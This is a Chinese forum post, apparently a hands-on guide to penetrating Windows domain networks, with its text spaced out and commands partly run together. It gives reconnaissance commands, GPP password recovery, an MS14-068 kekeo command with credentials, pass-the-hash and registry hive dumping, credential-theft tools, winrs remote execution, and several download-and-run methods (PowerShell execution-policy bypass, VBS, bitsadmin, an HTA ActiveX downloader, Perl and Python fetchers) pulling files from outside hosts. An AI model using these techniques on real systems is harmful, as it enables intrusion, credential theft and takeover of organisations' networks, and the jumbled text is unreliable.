要 管 理 权 。 ） n e t v i e w . e x e           # ( 它 利 用 ` N e t S e s s i o n E n u m ` 来 寻 找 登 陆 s e s s i o n s ， 利 用 ` N e t S h a r e E n u m ` 来 找 寻 共 享 ， 利 用 ` N e t W k s t a U s e r E n u m ` 来 枚 举 登 陆 的 用 户 ) w m i c   b i o s                                               - - - - -   查 看 b i o s 信 息 w m i c   q f e                                                 - - - - -   查 看 补 丁 信 息 w m i c   q f e   g e t   h o t f i x i d                       - - - - -   查 看 补 丁 - P a t c h 号 w m i c   s t a r t u p                                         - - - - -   查 看 启 动 项 w m i c   s e r v i c e                                         - - - - -   查 看 服 务 w m i c   o s                                                   - - - - -   查 看 O S 信 息 w m i c   p r o c e s s   g e t   c a p t i o n , e x e c u t a b l e p a t h , c o m m a n d l i n e w m i c   p r o c e s s   c a l l   c r e a t e   “ p r o c e s s _ n a m e ”   ( e x e c u t e s   a   p r o g r a m ) w m i c   p r o c e s s   w h e r e   n a m e = ” p r o c e s s _ n a m e ”   c a l l   t e r m i n a t e   ( t e r m i n a t e s   p r o g r a m ) w m i c   l o g i c a l d i s k   w h e r e   d r i v e t y p e = 3   g e t   n a m e ,   f r e e s p a c e ,   s y s t e m n a m e ,   f i l e s y s t e m ,   s i z e , v o l u m e s e r i a l n u m b e r   ( h a r d   d r i v e   i n f o r m a t i o n ) w m i c   u s e r a c c o u n t   ( u s e r n a m e s ,   s i d ,   a n d   v a r i o u s   s e c u r i t y   r e l a t e d   g o o d i e s ) w m i c   u s e r a c c o u n t   g e t   / A L L w m i c   s h a r e   g e t   / A L L   ( y o u   c a n   u s e   ?   f o r   g e t s   h e l p   !   ) w m i c   s t a r t u p   l i s t   f u l l   ( t h i s   c a n   b e   a   h u g e   l i s t ! ! ! ) w m i c   / n o d e : " h o s t n a m e "   b i o s   g e t   s e r i a l n u m b e r   ( t h i s   c a n   b e   g r e a t   f o r   f i n d i n g   w a r r a n t y   i n f o   a b o u t   t a r g e t ) c a t   / e t c / i s s u e                       # 查 看 系 统 名 称 c a t   / e t c / l s b - r e l e a s e           # 查 看 系 统 名 称
( 2 )   域 管 权 限 获 取 除 了 工 作 组 的 几 种 方 法 外 ， 还 有 域 特 别 的 几 种 渗 透 方 法 。 1 . 组 策 略 漏 洞 （ G P P ） 域 管 理 员 使 用 G P P 来 配 置 和 操 作 域 ， 常 见 的 操 作 有 远 程 创 建 本 地 用 户 、 映 射 打 印 机 、 映 射 磁 盘 等 ， 这 些 操 作 有 时 候 需 要 提 供 账 号 密 码 。 当 组 策 略 进 行 分 发 时 ， 会 在   S Y S V O L   目 录 下 生 成 一 个 x m l 文 件 ， 理 所 当 然 的 前 面 提 供 的 账 号 密 码 都 保 存 在 这 个 x m l 文 件 中 ， 而 密 码 是 经 过 A E S 加 密 得 ， 也 就 是 说 完 全 可 逆 的 加 密 算 法 ， 而 微 软 同 时 也 很 照 顾 的 公 布 了 加 密 密 钥 ， 所 以 任 何 域 普 通 用 户 就 可 以 读 取 这 些 x m l 文 件 并 使 用 公 开 的 A E S 密 钥 破 解 密 码 。 组 策 略 漏 洞 是 w i n d o w s   2 0 0 8 的 ， 而 且 不 一 定 是 g r o u p s . x m l ， 其 他 的 x m l 也 可 能 存 在 密 码 。 d i r   d o m a i n . c o m s y s v o l * 2 . K e r b e r o s 协 议 漏 洞 关 于 K e r b e r o s 协 议 漏 洞 常 见 的 三 种 有 ： M S 1 4 - 0 6 8 ， G o l d e n   t i c k e t （ 黄 金 票 据 ） ， S I L V E R   T I C K E T （ 白 银 票 据 ） 简 单 介 绍 一 下 K e r b e r o s 协 议 的 工 作 方 法 ： 客 户 机 将 明 文 密 码 进 行 N T L M 哈 希 , 然 后 和 时 间 戳 一 起 加 密 ( 使 用 k r b t g t 密 码 h a s h 作 为 密 钥 ) ， 发 送 给 k d c （ 域 控 ） ， k d c 对 用 户 进 行 检 测 ， 成 功 之 后 创 建 T G T ( T i c k e t - G r a n t i n g   T i c k e t ) 将 T G T 进 行 加 密 签 名 返 回 给 客 户 机 器 ， 只 有 域 用 户 k r b t g t 才 能 读 取 k e r b e r o s 中 t g t 数 据 然 后 客 户 机 将 t g t 发 送 给 域 控 制 器 K D C 请 求 T G S （ 票 证 授 权 服 务 ） 票 证 ， 并 且 对 t g t 进 行 检 测 检 测 成 功 之 后 ， 将 目 标 服 务 账 户 的 n t l m 以 及 t g t 进 行 加 密 ， 将 加 密 后 的 结 果 返 回 给 客 户 机 。 m s 1 4 - 0 6 8 B e n j a m i n   D e l p y ( m i m i k a t z 的 作 者 ) 写 了 一 个 M S 1 4 - 0 6 8 的 利 用 工 具 ， 叫 K e k e o ， 是 P y K E k 的 升 级 版 ， 他 能 够 找 到 并 定 位 有 漏 洞 的 域 控 ， 在 打 了 补 丁 （ K B 3 0 1 1 7 8 0 ） 和   2 0 1 2 / 2 0 1 2 r 2 域 控 情 况 下 仍 能 奏 效 。 在 利 用 m s 1 4 - 0 6 8 漏 洞 之 前 ， 建 议 先 使 用   k l i s t / p u r g e   清 除 服 务 器 端 缓 存 的   K e r b e r o s   凭 据 ， 且 使 用 域 控 地 址 不 使 用 I P . P y K E K 具 体 P y k e k 工 具 及 下 载 地 址 ： h t t p s : / / w w w . s e c p u l s e . c o m / a r c h i v e s / 2 8 7 4 . h t m l g i t h u b 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / m u b i x / p y k e k K e k e o 先 给 出 工 具 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / k e k e o / r e l e a s e s 利 用 条 件 ：           域 用 户 及 口 令           域 控 地 址 利 用 方 法 ：           k e k e o . e x e   / d o m a i n : v u l n . l o c a l   / u s e r : a d m i n s t r a t o r   / p a s s w o r d : 1 2 5 8 0 /   / p t t 具 体 使 用 参 考 ： h t t p : / / w w w . c n b l o g s . c o m / b a c k l i o n / p / 6 8 2 0 7 4 4 . h t m l 3 . 相 同 密 码 登 陆 （ h a s h 碰 撞 ） h a s h 碰 撞 实 际 上 就 是 利 用 h a s h 传 递 来 盲 打 。 如 果 内 网 主 机 的 本 地 管 理 员 账 户 密 码 相 同 且 允 许 账 户 登 陆 域 内 其 他 机 器 。 在 域 环 境 中 ， 利 用 p a s s   t h e   h a s h 的 渗 透 方 式 往 往 是 这 样 ： 1 . 获 得 一 台 域 主 机 权 限 ； 2 . D u m p 内 存 获 取 用 户 h a s h （ 或 明 文 ） ； 3 . 通 过 p a s s   t h e   h a s h   或   p a s s   t h e   t i c k e t 尝 试 登 陆 其 他 主 机 ； 4 . 继 续 收 集 h a s h 或 明 文 ， 并 尝 试 远 程 登 陆 ； 5 . 知 道 获 得 域 管 理 员 h a s h ， 登 陆 域 控 ， 最 终 成 功 控 制 整 个 域 。 域 登 陆 缓 存 m s c a s h 使 用 r e g 命 令 提 取 s a m 、 s y s t e m 、 s e c u r i t ， 然 后 用 c r e d d u m p 7 或 者 m i m a k a t z 提 取 m s c a s h 。 4 . 利 用 漏 洞 配 置 不 当 获 取 更 多 主 机 权 限 常 见 应 用 漏 洞 ： s t r u t s 2 、 z a b b i x 、 a x i s 、 I m a g e M a g i c 、 f a s t c g i 、 S h e l l s h o c k 、 r e d i s 未 授 权 访 问 、 H a d o o p 、 w e b l o g i c 、 j b o s s 、 W e b S p h e r e 、 C o l d f u s i o n 常 见 语 言 反 序 列 化 漏 洞 p h p 、 J a v a 、 p y t h o n 、 r u b y 、 n o d e . j s 数 据 库 漏 洞 及 配 置 不 当 c a t   / e t c / i s s u e                       # 查 看 系 统 名 称 c a t   / e t c / l s b - r e l e a s e           # 查 看 系 统 名 称 c a t   / e t c / n s s w i t c h               # 查 看 密 码 登 陆 策 略 r o u t e       # 查 看 路 由 c a t   / e t c / n e t w o r k / i n t e r f a c e s       # 查 看 网 卡 配 置 文 件 c a t   / v a r / l o g / s y s l o g       # 查 看 系 统 日 志 p s   a u x       # 查 看 进 程 c r o n t a b   - l       # 计 划 任 务 c a t   / e t c / n e t w o r k / i n t e r f a c e s     # 查 看 网 络 配 置 n e t s t a t     # 查 看 网 络 通 信 s h o w m o u n t   - e   i p   查 看 N F S 连 接 l d a p s e a r c h   - h   1 9 2 . 1 6 8 . 0 . 1   - x   - z   1 0   - p   指 定 端 口     # 查 找 1 0 条 用 户 记 录 l d a p s e a r c h   - x   - D  
m s s q l   G e t - S Q L S e r v e r A c c e s s 、 M y S Q L 低 版 本 h a s h 登 陆 、 M y S Q L 低 版 本 A u t h e n t i c a t i o n   B y p a s s 、 域 内 m s s q l 凭 证 获 取 密 码 、 m o n g g o d b 未 授 权 访 问 、 m e m c a c h e 配 置 不 当 内 网 中 很 多 w e b 应 用 存 在 常 见 漏 洞 、 使 用 有 漏 洞 的 中 间 件 和 框 架 、 弱 口 令 及 配 置 不 当 （ 注 入 、 任 意 文 件 读 取 、 备 份 、 源 码 泄 漏 （ r s y n c 、 g i t 、 s v n 、 D S _ S t o r e ） 、 代 码 执 行 、 x s s 、 弱 口 令 、 上 传 漏 洞 、 权 限 绕 过 … ） w e b 应 用 、 及 数 据 库 中 寻 找 其 他 服 务 器 密 码 信 息 （ f t p 、 m a i l 、 s m b 、 l d a p 存 储 、 s q l . . . ） 系 统 备 份 文 件 （ g h o s t ） 中 读 密 码 在 已 有 控 制 权 限 主 机 中 ， 查 看 各 浏 览 器 书 签 、 c o o k i e 、 存 储 密 码 、 键 盘 记 录 收 集 相 关 敏 感 信 息 、 查 询 注 册 表 中 保 存 密 码 、 读 取 各 客 户 端 连 接 密 码 、 p u t t y   d l l 注 入 、 p u t t y 密 码 截 取 、 s s h 连 接 密 码 ， 以 获 取 更 多 主 机 权 限   推 荐 工 具 ： N e t R i p p e r 、 P u t t y r i d e r . e x e 、 P r o w s e r P a s s w o r d D u m p . e x e 、 L a Z a g n e . e x e   m s 0 8 - 0 6 7   远 程 溢 出 （ 极 少 能 碰 到 ）   c m d k e y   / l i s t   远 程 终 端 可 信 任 连 接 连 接   n e t p a s s . e x e   读 取 该 密 码   a r p 欺 骗 中 间 人 攻 击 （ 替 换 s q l 数 据 包 、 认 证 凭 证 获 取 、 密 码 获 取 极 大 不 到 万 不 得 已 不 会 用 ）   W P A D 中 间 人 攻 击 （ 全 称 网 络 代 理 自 动 发 现 协 议 、 截 获 凭 证 该 种 方 法 不 需 要 A R P 欺 骗 ， 比 较 好 用 的 一 种 方 法 （ 使 用 R e s p o n d e r . p y / n e t - c r e d s . p y ） ）   翻 阅 相 关 文 件 及 以 控 制 数 据 库 中 可 能 存 储 配 置 口 令 （ 别 忘 了 回 收 站 ）   用 已 有 控 制 权 限 的 邮 箱 账 号 以 及 前 期 所 了 解 到 的 信 息 进 行 欺 骗 （ 社 会 工 程 学 ）   定 向 浏 览 器 信 息 i p 信 息 定 向 挂 马 （ 0 d a y ）   用 以 收 集 的 密 码 （ 组 合 变 换 密 码 ） 对 各 服 务 进 行 爆 破   应 用 0 d a y 攻 击 … 5 . 远 程 命 令 执 行 方 式 例 如     a t s c h t a s k s p s e x e c w m i c s c p s     网 上 有 很 多 相 关 资 源 也 不 占 篇 幅 了 ， 只 提 一 个 很 少 提 的 。 从 2 0 1 2 r 2   起 ， 他 们 开 了 一 个 端 口 叫 5 9 8 5 ， 原 理 跟 大 家 常 说 的 p o w e r s h e l l   r e m o t e 是 一 样 的 ， 基 于   w i n r m   服 务 ， 于 是 可 以 这 样 执 行 。 又 是 一 个 系 统 自 带 的 远 程 管 理 工 具 。 w i n r s   - r : 1 9 2 . 1 6 8 . 2 2 . 3 3   - u : a d m i n i s t r a t o r   - p : p @ a s s w 0 r d   i p c o n f i g ( 3 )   目 标 定 位 在 有 域 控 权 限 的 条 件 下 ， 需 要 找 到 某 台 机 器 （ 服 务 器 、 个 人 机 、 数 据 库 ） 我 们 首 先 先 将 所 有 的 域 用 户 的 详 细 信 息 都 列 举 出 来 ， 通 过 详 细 名 称 （ F u l l   N a m e ） 确 认 其 域 用 户 。 【 域 渗 透 】 批 量 N e t - U s e r 。 d s q u e r y   u s e r   -   查 找 目 录 中 的 用 户 。 d s q u e r y   c o m p u t e r   -   查 找 目 录 中 的 计 算 机 。 我 们 将 上 面 的 两 条 命 令 的 执 行 结 果 结 合 起 来 进 行 归 类 。 然 后 通 过 域 控 日 志 查 找 登 陆 I P 或 者 机 器 。 当 然 ， 除 了 日 志 还 有 别 的 方 式 ， 不 限 于 日 志 。 【 域 渗 透 】 获 取 域 环 境 内 用 户 登 录 信 息 找 到 机 器 或 者 I P 之 后 ， 可 通 过 域 管 理 员 或 者 用 其 域 用 户 进 行 登 陆 。 登 陆 的 方 式 也 是 有 多 重 ， 上 面 有 讲 过 。 但 是 ， 也 有 些 机 器 是 登 陆 不 上 的 。 我 们 可 以 通 过 设 置 域 登 陆 脚 本 进 行 操 作 。 【 域 渗 透 】 在 域 控 上 使 用 c m d 更 改 域 用 户 配 置 文 件 中 的 登 录 脚 本 5 . 权 限 维 持 推 荐 三 好 学 生 大 佬 的 文 章 ： 域 渗 透 — — S e c u r i t y   S u p p o r t   P r o v i d e r 域 渗 透 — — S k e l e t o n   K e y 域 渗 透 — — H o o k   P a s s w o r d C h a n g e N o t i f y   - - - - - - - - - - - - - - - - - - - 2 0 1 9 . 2 . 8 补 充 - - - - - - - - - - - - - - - - - - - - - - - - - - - 1 . 域 内 文 件 操 作 2 . 域 内 运 行 命 令 - - - - - - - - - - - - - - - - - - - - - - - - - - - 1 . 域 内 文 件 操 作 ： W i n d o w s : ( 1 ) 利 用 I P C $ 传 输 文 件 建 立 i p c 连 接 以 后 ， 就 可 以 访 问 目 标 机 器 的 文 件 （ 上 传 、 下 载 ） ， 也 可 以 在 目 标 机 器 上 运 行 命 令 。 上 传 和 下 载 文 件 直 接 通 过 c o p y 命 令 就 可 以 ， 不 过 路 径 换 成 U N C 路 径 。 何 为 U N C 路 径 ？ 简 单 来 讲 以 开 头 的 路 径 就 是 U N C 路 径 ， 比 如 1 9 2 . 1 6 8 . 1 . 2 c $ b o o t . i n i 。 如 果 要 从 本 地 当 前 目 录 上 传 1 . b a t 到 1 9 2 . 1 6 8 . 1 . 2 机 器 C 盘 根 目 录 下 ， 那 么 命 令 就 是 ： c o p y   1 . b a t   1 9 2 . 1 6 8 . 1 . 2 C $ 反 之 就 是 下 载 。 d i r , c o p y , x c o p y , m o v e , t y p e 的 参 数 都 可 以 使 用 U N C 路 径
( 2 ) 利 用 T e l n e t 连 接 来 传 输 文 件 服 务 端 ： n c   - l v n p   2 3   <   n c . e x e 下 载 端 ： t e l n e t   i p   - f   c : n c . e x e ( 3 ) 利 用 文 件 共 享 ( 4 ) p o w e r s h e l l 文 件 下 载 p o w e r s h e l l 突 破 限 制 执 行 ： 1 . p s 1 内 容 ： ( 5 ) v b s 脚 本 下 载 ： 下 载 执 行 ： ( 6 ) b i t s a d m i n   w i n 0 3 测 试 没 有 ， w i n 0 8 有 ： ( 7 ) h t a   保 存 为 . h t a 文 件 后 运 行 ： L i n u x : ( 1 ) p e r l 脚 本 文 件 下 载   k a l i 下 测 试 成 功 ， c e n t o s 5 . 5 下 ， 由 于 没 有 L W P : : S i m p l e 这 个 ， 导 致 下 载 失 败 ( 2 ) p y t h o n 脚 本 文 件 下 载 ： n e t   u s e   x :   [ 目 标 I P ] [ 地 址 ]   [ 域 用 户 p a s s w o r d ]   / u s e r : [ 域 ] [ u s e r n a m e ] p o w e r s h e l l   - E x e c u t i o n P o l i c y   B y p a s s   - F i l e   . 1 . p s 1 $ d   =   N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t $ d . D o w n l o a d F i l e ( " h t t p : / / b a i d u . c o m / f i l e . z i p " , " c : / 1 . z i p " ) S e t   x P o s t = c r e a t e O b j e c t ( " M i c r o s o f t . X M L H T T P " ) x P o s t . O p e n   " G E T " , " h t t p : / / 1 9 2 . 1 6 8 . 2 0 6 . 1 0 1 / f i l e . z i p " , 0 x P o s t . S e n d ( ) s e t   s G e t = c r e a t e O b j e c t ( " A D O D B . S t r e a m " ) s G e t . M o d e = 3 s G e t . T y p e = 1 s G e t . O p e n ( ) s G e t . W r i t e   x P o s t . R e s p o n s e B o d y s G e t . S a v e T o F i l e   " c : f i l e . z i p " , 2 c s c r i p t   t e s t . v b s b i t s a d m i n   / t r a n s f e r   n   h t t p : / / b a i d u . c o m / f i l e . z i p   c : 1 . z i p < h t m l > < h e a d > < s c r i p t > v a r   O b j e c t   =   n e w   A c t i v e X O b j e c t ( " M S X M L 2 . X M L H T T P " ) ; O b j e c t . o p e n ( " G E T " , " h t t p : / / 1 9 2 . 1 6 8 . 2 0 6 . 1 0 1 / d e m o . p h p . z i p " , f a l s e ) ; O b j e c t . s e n d ( ) ; i f   ( O b j e c t . S t a t u s   = =   2 0 0 ) {         v a r   S t r e a m   =   n e w   A c t i v e X O b j e c t ( " A D O D B . S t r e a m " ) ;         S t r e a m . O p e n ( ) ;         S t r e a m . T y p e   =   1 ;         S t r e a m . W r i t e ( O b j e c t . R e s p o n s e B o d y ) ;         S t r e a m . S a v e T o F i l e ( " C : d e m o . z i p " ,   2 ) ;         S t r e a m . C l o s e ( ) ; } w i n d o w . c l o s e ( ) ; < / s c r i p t > < H T A : A P P L I C A T I O N   I D = " t e s t " W I N D O W S T A T E   =   " m i n i m i z e " > < / h e a d > < b o d y > < / b o d y > < / h t m l > # ! / u s r / b i n / p e r l u s e   L W P : : S i m p l e g e t s t o r e ( " h t t p : / / b a i d u . c o m / f i l e . z i p " ,   " / r o o t / 1 . z i p " ) ; # ! / u s r / b i n / p y t h o n i m p o r t   u r l l i b 2 u   =   u r l l i b 2 . u r l o p e n ( ' h t t p : / / b a i d u . c o m / f i l e . z i p ' ) l o c a l F i l e   =   o p e n ( ' / r o o t / 1 . z i p ' ,   ' w ' ) l o c a l F i l e . w r i t e ( u . r e a d ( ) )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理